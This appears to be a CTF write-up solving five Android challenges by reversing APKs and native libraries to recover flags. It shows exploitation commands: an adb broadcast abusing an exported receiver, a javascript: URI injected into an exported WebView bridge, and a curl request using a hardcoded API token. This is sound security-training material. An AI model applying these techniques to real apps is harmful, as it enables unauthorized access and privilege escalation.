alt text

Mobile

alt text

Challenges? Too easy… I’ve awakened.

yay

Bug Bounty Hub

alt text

Reversing the apk file we notice an interesting native binary libnativecore.so. We fireup ghidra and notice these two interesting functions

alt text

The decodeToken function performs a complex set of bitwise operations on a global data buffer (DAT_0015f4f0).

  • Data Loading: It loads data from DAT_0015f4f0.
  • Reverse Loop: The loop while (local_34 ... -1) suggests it processes or copies the data in reverse order.
  • Decryption Logic: It iterates through the data applying:
    • XOR: Different keys (0x7E or 0x3F) depending on if the index is even or odd.
    • Arithmetic: Subtracting (index * 5).
    • Bitwise Rotation: The line (local_51 >> ... | local_51 << ...) is a standard Right Rotate (ROR) operation.
    • Final XOR: XORing the result with 0x42.
/* WARNING: Removing unreachable block (ram,0x00126653) */
/* WARNING: Unknown calling convention -- yet parameter storage is locked */
/* decodeToken() */

undefined8 decodeToken(void){
  undefined8 uVar1;
  ulong uVar2;
  byte *pbVar3;
  undefined8 in_RDI;
  long in_FS_OFFSET;
  byte local_58;
  byte local_51;
  ulong local_50;
  int local_34;
  undefined1 local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_001266c0(local_28);
  local_34 = FUN_00126740(&DAT_0015f4f0);
  while (local_34 = local_34 + -1, -1 < local_34) {
    uVar1 = FUN_001267e0(&DAT_0015f4f0,(long)local_34);
                    /* try { // try from 00126500 to 00126508 has its CatchHandler @ 00126521 */
    FUN_00126760(local_28,uVar1);
  }
  FUN_00126800(in_RDI);
  for (local_50 = 0; uVar2 = FUN_00126740(local_28), local_50 < uVar2; local_50 = local_50 + 1) {
    pbVar3 = (byte *)FUN_00126870(local_28,local_50);
    if ((local_50 & 1) == 0) {
      local_51 = *pbVar3 ^ 0x7e;
    }
    else {
      local_51 = *pbVar3 ^ 0x3f;
    }
    local_51 = local_51 + (char)local_50 * -5;
    local_58 = (char)local_50 + (char)(local_50 / 3) * -3 + 1;
                    /* try { // try from 0012660b to 0012660f has its CatchHandler @ 0012662b */
    FUN_00126890(in_RDI,(int)(char)((local_51 >> (local_58 & 0x1f) |
                                    local_51 << (8 - local_58 & 0x1f)) ^ 0x42));
  }
  FUN_00126440(local_28);
  if (*(long *)(in_FS_OFFSET + 0x28) != local_10) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return in_RDI;
}

The variable DAT_0015f4f0 is in the .bss section (uninitialized), meaning it is populated at runtime. We followed the Cross-Reference (XREF) to FUN_00126230, which initializes this data.

void FUN_00126230(void) {
  long in_FS_OFFSET;
  undefined4 local_38;
  undefined4 uStack_34;
  undefined4 uStack_30;
  undefined8 local_2c;
  undefined8 uStack_24;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  uStack_24 = 0x36825d66862600cf;
  local_38 = 0xa635cd3a;
  uStack_34 = 0x919cbc39;
  uStack_30 = 0x57393e10;
  local_2c = 0x27488920d635505c;
  FUN_001262d0(&DAT_0015f4f0,&local_38,0x1c);
  __cxa_atexit(FUN_00126440,&DAT_0015f4f0,&PTR_LOOP_0015a310);
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

We must reverse the byte order of the hex values to get the actual array used by the encryption function.

local_38 = 0xa635cd3a = 3A CD 35 A6

uStack_34 = 0x919cbc39 = 39 BC 9C 91

uStack_30 = 0x57393e10 = 10 3E 39 57

local_2c = 0x27488920d635505c = 5C 50 35 D6 20 89 48 27

uStack_24 = 0x36825d66862600cf = CF 00 26 86 66 5D 82 36

Extracted Byte Array:

3A CD 35 A6 39 BC 9C 91 10 3E 39 57 5C 50 35 D6 20 89 48 27 CF 00 26 86 66 5D 82 36

We wrote a Python script to replicate the reverse-logic of decodeToken.

def get_flag():
    encrypted_bytes = [
        0x3A, 0xCD, 0x35, 0xA6, 
        0x39, 0xBC, 0x9C, 0x91, 
        0x10, 0x3E, 0x39, 0x57, 
        0x5C, 0x50, 0x35, 0xD6, 
        0x20, 0x89, 0x48, 0x27, 
        0xCF, 0x00, 0x26, 0x86, 
        0x66, 0x5D, 0x82, 0x36
    ]

    processing_data = encrypted_bytes[::-1]
    flag = ""
    for i, b in enumerate(processing_data):
        if (i % 2) != 0: 
            val = b ^ 0x3F
        else:        
            val = b ^ 0x7E
        val = (val - (i * 5)) & 0xFF
        shift = (i % 3) + 1
        val = ((val >> shift) | (val << (8 - shift))) & 0xFF
        final_char = val ^ 0x42
        flag += chr(final_char)
    return flag

print(get_flag())

Running the script reveals the flag:

python3 exploit.py
flag{Br1dg3_t0_N4t1v3_W0r!d}

EBANK

alt text

Decompiling the APK, we locate the main logic in com.sehno.ebank.PremiumActivity. The code reveals that the flag is split into 5 separate parts, concatenated together in the generateFlag() function:

private final String generateFlag() {
    try {
        String part1 = getPart1();
        String part2 = getPart2();
        String part3 = getPart3();
        String part4 = getPart4();
        String part5 = getPart5();
        return part1 + part2 + part3 + part4 + part5;
    } catch (Exception e) {
        return this.FAKE_FLAG_1;
    }
}

getPart1() reads a string resource named error_code_404.

Value: b77616c666 (from strings.xml)

The function decodeHexReversed does two things:

Reverses the string: b77616c666 = 666c61677b

Decodes hex to ASCII:

0x66 = f

0x6c = l

0x61 = a

0x67 = g

0x7b = {

Result: flag{

private final String getPart1() {
    String hexReversed = getString(R.string.error_code_404);
    Intrinsics.checkNotNullExpressionValue(hexReversed, "getString(...)");
    return decodeHexReversed(hexReversed);
}

private final String decodeHexReversed(String hexString) {
    String reversed = StringsKt.reversed((CharSequence) hexString).toString();
    Iterable $this$map$iv = StringsKt.chunked(reversed, 2);
    Collection destination$iv$iv = new ArrayList(CollectionsKt.collectionSizeOrDefault($this$map$iv, 10));
    for (Object item$iv$iv : $this$map$iv) {
        String it = (String) item$iv$iv;
        destination$iv$iv.add(Byte.valueOf((byte) Integer.parseInt(it, CharsKt.checkRadix(16))));
    }
    byte[] bytes = CollectionsKt.toByteArray((List) destination$iv$iv);
    return new String(bytes, Charsets.UTF_8);
}

getPart2() uses a byte array: {-16, -41, -51, -118, -41, -51}. The code derives a single-byte XOR key based on the package name com.sehno.ebank. Key Calculation: Sum of all ASCII characters in the package name modulo 256.

Sum("com.sehno.ebank") = 1465

1465(mod256)=1851465(mod256)=185

In Java (signed bytes), 185 wraps around to -71.

Decryption: XOR the data with the key -71.

Encrypted Byte Key XOR Calculation ASCII Char

-16 -71 -16 ^ -71 = 73 I

-41 -71 -41 ^ -71 = 110 n

-51 -71 -51 ^ -71 = 116 t

-118 -71 -118 ^ -71 = 51 3

-41 -71 -41 ^ -71 = 110 n

-51 -71 -51 ^ -71 = 116 t

Result: Int3nt

private final String getPart2() {
    byte[] obfuscated = {-16, -41, -51, -118, -41, -51};
    byte key = deriveKey();
    return xorDecode(obfuscated, key);
}

private final byte deriveKey() {
    String packageName = getPackageName();
    Intrinsics.checkNotNullExpressionValue(packageName, "getPackageName(...)");
    String str = packageName;
    int i = 0;
    for (int i2 = 0; i2 < str.length(); i2++) {
        char it = str.charAt(i2);
        i += it;
    }
    return (byte) (i % 256);
}

private final String xorDecode(byte[] data, byte key) {
    Collection destination$iv$iv = new ArrayList(data.length);
    for (byte item$iv$iv : data) {
        byte it = (byte) (item$iv$iv ^ key);
        destination$iv$iv.add(Byte.valueOf(it));
    }
    return new String(CollectionsKt.toByteArray((List) destination$iv$iv), Charsets.UTF_8);
}

getPart3() reads a string resource named api_timeout_value. Value: X1JlZCFy

Base64.decode("X1JlZCFy") = _Red!r

Result: _Red!r

private final String getPart3() {
    String encoded = getString(R.string.api_timeout_value);
    Intrinsics.checkNotNullExpressionValue(encoded, "getString(...)");
    return decodeCustomBase64(encoded);
}

private final String decodeCustomBase64(String encoded) {
    byte[] decoded = Base64.decode(encoded, 0);
    Intrinsics.checkNotNull(decoded);
    return new String(decoded, Charsets.UTF_8);
}

getPart4() calls a native library

private final String getPart4() {
    if (!NativeLib.INSTANCE.isNativeLibraryAvailable()) {
        return "";
    }
    try {
        return NativeLib.INSTANCE.getFlagPart();
    } catch (Exception e) {
        return "";
    }
}

We switch to Ghidra to analyze libnative-lib.so. The function Java_com_sehno_ebank_NativeLib_getFlagPart calls an internal function deobfuscate. The deobfuscate function iterates over a byte array found at DAT_00113400 in the .rodata section and XORs every byte with 0x7a.

void deobfuscate(void) {
  undefined8 in_x8;
  int local_20;
  
  FUN_0011dd24();
  for (local_20 = 0; (&DAT_00113400)[local_20] != '\0'; local_20 = local_20 + 1) {
                    /* try { // try from 0011dcb0 to 0011dcb3 has its CatchHandler @ 0011dccc */
    FUN_0011dd90(in_x8,(&DAT_00113400)[local_20] ^ 0x7a);
  }
  return;
}

Raw Data: 1f 19 0e 33 4a 14 25 0a 2d 00

                        //
                        // .rodata 
                        // SHT_PROGBITS  [0x13400 - 0x16a5b]
                        // ram:00113400-ram:00116a5b
                        //
                        DAT_00113400                                    XREF[3]:     deobfuscate:0011dc88(*), 
                                                                                    deobfuscate:0011dca4(*), 
                                                                                    _elfSectionHeaders::000002d0(*)  
00113400 1f              ??         1Fh
00113401 19              ??         19h
00113402 0e              ??         0Eh
00113403 33              ??         33h    3
00113404 4a              ??         4Ah    J
00113405 14              ??         14h
00113406 25              ??         25h    %
00113407 0a              ??         0Ah
00113408 2d              ??         2Dh    -
00113409 00              ??         00h

0x1f ^ 0x7a = 0x65 (e)

0x19 ^ 0x7a = 0x63 (c)

0x0e ^ 0x7a = 0x74 (t)

0x33 ^ 0x7a = 0x49 (I)

0x4a ^ 0x7a = 0x30 (0)

0x14 ^ 0x7a = 0x6e (n)

0x25 ^ 0x7a = 0x5f (_)

0x0a ^ 0x7a = 0x70 (p)

0x2d ^ 0x7a = 0x57 (W)

Result: ectI0n_pW

getPart5() uses a byte array: {-79, -102, -101, -126}. The function deobfuscateBitwise applies a Bitwise NOT (~) operation to each byte.

~(-79) = 78 = N

~(-102) = 101 = e

~(-101) = 100 = d

~(-126) = 125 = }

private final String getPart5() {
    byte[] obfuscated = {-79, -102, -101, -126};
    return deobfuscateBitwise(obfuscated);
}

private final String deobfuscateBitwise(byte[] data) {
    Collection destination$iv$iv = new ArrayList(data.length);
    for (byte item$iv$iv : data) {
        destination$iv$iv.add(Character.valueOf((char) ((~item$iv$iv) & 255)));
    }
    return new String(CollectionsKt.toCharArray((List) destination$iv$iv));
}

Result: Ned}

Final flag flag{Int3nt_Red!rectI0n_pWNed}

MAGIC SNOWFALL

alt text

Decompiling the apk we notice a single activity and an exported broadcast receiver which looks interesting.

<activity
    android:name="com.sehno.magicsnowfall.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<receiver
    android:name="com.sehno.magicsnowfall.SnowRewardReceiver"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="com.krypton.winterbank.ACTION_SNOWFALL_REWARD"/>
    </intent-filter>
</receiver>

We start by examining the main UI logic. The refreshStatus() method determines what is displayed on the screen.

private final void refreshStatus() {
    // ... code getting points and tier ...
    boolean isPremium = snowRewardManager3.isPremiumTier();
    
    // ... updating UI text ...
    
    if (isPremium) {
        // CALLS NATIVE FUNCTION
        String flag = FlagProvider.INSTANCE.getFlag(tier);
        if (flag.length() > 0) {
            // Success! Displays the flag
            textView.setText("🎿 AURORA VIP EXCLUSIVE 🎿\n\n" + flag + "\n\nCongratulations!");
            return;
        }
        // ...
    }
}

We do not need to reverse the native C code FlagProvider manually. If we can trick the app into thinking we are in the “Premium Tier,” the app will call the native function and decrypt the flag for us.

Checking formatTierName, we see the mapped name for the premium tier:

case 1296079550:
    if (tier.equals(SnowRewardManager.PREMIUM_TIER)) {
        return "🌟 Aurora VIP";
    }
    break;

We find an exported BroadcastReceiver that listens for external events.

public final class SnowRewardReceiver extends BroadcastReceiver {
    public static final String ACTION_SNOWFALL_REWARD = "com.krypton.winterbank.ACTION_SNOWFALL_REWARD";
    private static final String WEAK_SECRET = "winter2025";

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        // 1. Validation Check
        String secretKey = intent.getStringExtra("secret_key");
        if (secretKey != null && !Intrinsics.areEqual(secretKey, WEAK_SECRET)) {
             // Log error and return
             return;
        }

        // 2. Set Points
        int bonusPoints = intent.getIntExtra("bonus_points", 0);
        // ...

        // 3. Set Tier
        String bonusTier = intent.getStringExtra("bonus_tier");
        if (bonusTier != null) {
            rewardManager.setTier(bonusTier); // VULNERABILITY FOUND
        }
    }
}

The receiver allows any external application (or the ADB shell) to set the user’s tier, provided they pass a simple string check secret_key must be "winter2025".

We need to send an Android Broadcast Intent with the following parameters:

  • Action: com.krypton.winterbank.ACTION_SNOWFALL_REWARD

  • String Extra: secret_key = "winter2025"

  • String Extra: bonus_tier = "aurora_vip".

public static final String PREMIUM_TIER = "aurora_vip";

Since Android 8.0 (Oreo), apps running in the background cannot receive implicit broadcasts (broadcasts sent to “everyone”). We must target the specific app component.

adb shell am broadcast -n com.sehno.magicsnowfall/.SnowRewardReceiver -a com.krypton.winterbank.ACTION_SNOWFALL_REWARD --es secret_key "winter2025" --es bonus_tier "aurora_vip"

We run the exploit open and click to refresh. Boom there we go

alt text

FROZEN GIFT

alt text

Decompiling the apk we notice an interesting activity which is exported com.sehno.frozengift.DebugGiftWebViewActivity

<activity
    android:name="com.sehno.frozengift.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity
    android:label="Gift Shop"
    android:name="com.sehno.frozengift.GiftShopActivity"
    android:exported="false"/>
<activity
    android:label="Gift Status"
    android:name="com.sehno.frozengift.GiftStatusActivity"
    android:exported="false"/>
<activity
    android:label="Debug Gift Viewer"
    android:name="com.sehno.frozengift.DebugGiftWebViewActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="com.sehno.frozengift.DEBUG_WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

The WebView adds a JavaScript bridge named SnowGiftBridge

webView.addJavascriptInterface(new SnowGiftBridge(), "SnowGiftBridge");

The WebView loads a URL provided via a string extra named debugUrl.

String debugUrl = getIntent().getStringExtra("debugUrl");
webView.loadUrl(debugUrl);

Looking at the SnowGiftBridge class, we found a method unlockPremiumGift(String couponCode). It compares the input code against GiftTierManager.TIER_PREMIUM.

public final void unlockPremiumGift(String couponCode) {
    if (Intrinsics.areEqual(couponCode, GiftTierManager.TIER_PREMIUM)) {
        // Unlocks the tier
    }
}

Checking GiftTierManager.java, we found the hardcoded secret value:

public static final String TIER_PREMIUM = "frost_king";

we now adb to launch the exported activity and injected a javascript: URI as the debugUrl extra. This executed the unlock function directly in the WebView context.

adb shell "am start -n com.sehno.frozengift/.DebugGiftWebViewActivity --es debugUrl 'javascript:SnowGiftBridge.unlockPremiumGift(\"frost_king\")'"
Starting: Intent { cmp=com.sehno.frozengift/.DebugGiftWebViewActivity (has extras) }

After executing the exploit, we received a Toast message confirming the premium unlock. We navigated to the Gift Status activity. The app passed the unlocked tier string to the native library (lib.so), which decrypted and displayed the flag.

flag{fR0zen_Js_br1dGe_Abu$e}

alt text

DOJO HELP CENTER

alt text

Decompiling the apk we notice some sensitive data hardcoded in Constants.

package com.example.helpcenter_yeswehack;

/* loaded from: classes3.dex */
public class Constants {
    public static final String API_TOKEN = "ZedrlHPRBlgpmEVwB601owCiMEcIaYtn";
    public static final String APP_ID = "ywh_helper_2025";
    public static final String BASE_URL = "https://fakeapi.dojo-yeswehack.com/";
    public static final String COLLECTION_INTERNAL = "67890";
    public static final String COLLECTION_PUBLIC = "12345";
    public static final String ENDPOINT_ARTICLES = "help_center/articles";
    public static final String ENDPOINT_COLLECTIONS = "help_center/collections";
}

one of the values is an API_TOKEN. We launch the hub and use the provided url which leads us to a swagger. We notice some admin endpoints which require authorization, and since we got a key we proceed to make a request.

alt text

we make a request to https://0mfma0nu14e2.ctfhub.io/api/admin/internal and boom we get the flag

curl -H "Authorization: Bearer ZedrlHPRBlgpmEVwB601owCiMEcIaYtn" \
               -H "X-App-ID: ywh_helper_2025" \
               https://0mfma0nu14e2.ctfhub.io/api/admin/internal
{"flag":"flag{3xp0s3d_Cr3ds_G03ssss_BrrRrr}","message":"Well done! Hardcoded credentials in mobile apps are a critical vulnerability. Always remember: when analyzing a mobile application, one of your first steps should be decompiling it to search for hardcoded secrets, API keys, and hidden endpoints. This kind of oversight is more common than you'd think in production apps!","status":"success","tips":["Use tools like jadx, apktool, or MobSF to decompile Android apps","Search for strings like 'api', 'key', 'token', 'secret', 'password'","Check Constants.java, Config files, and resource files","Test all discovered endpoints with the found credentials"],"vulnerability":{"cvss":"9.1","remediation":"Store sensitive credentials in secure backend services or use encrypted keystores","severity":"Critical","type":"Hardcoded API Credentials"}}

Me to the Mobile challenges after finding the correct flags:

yay

alt text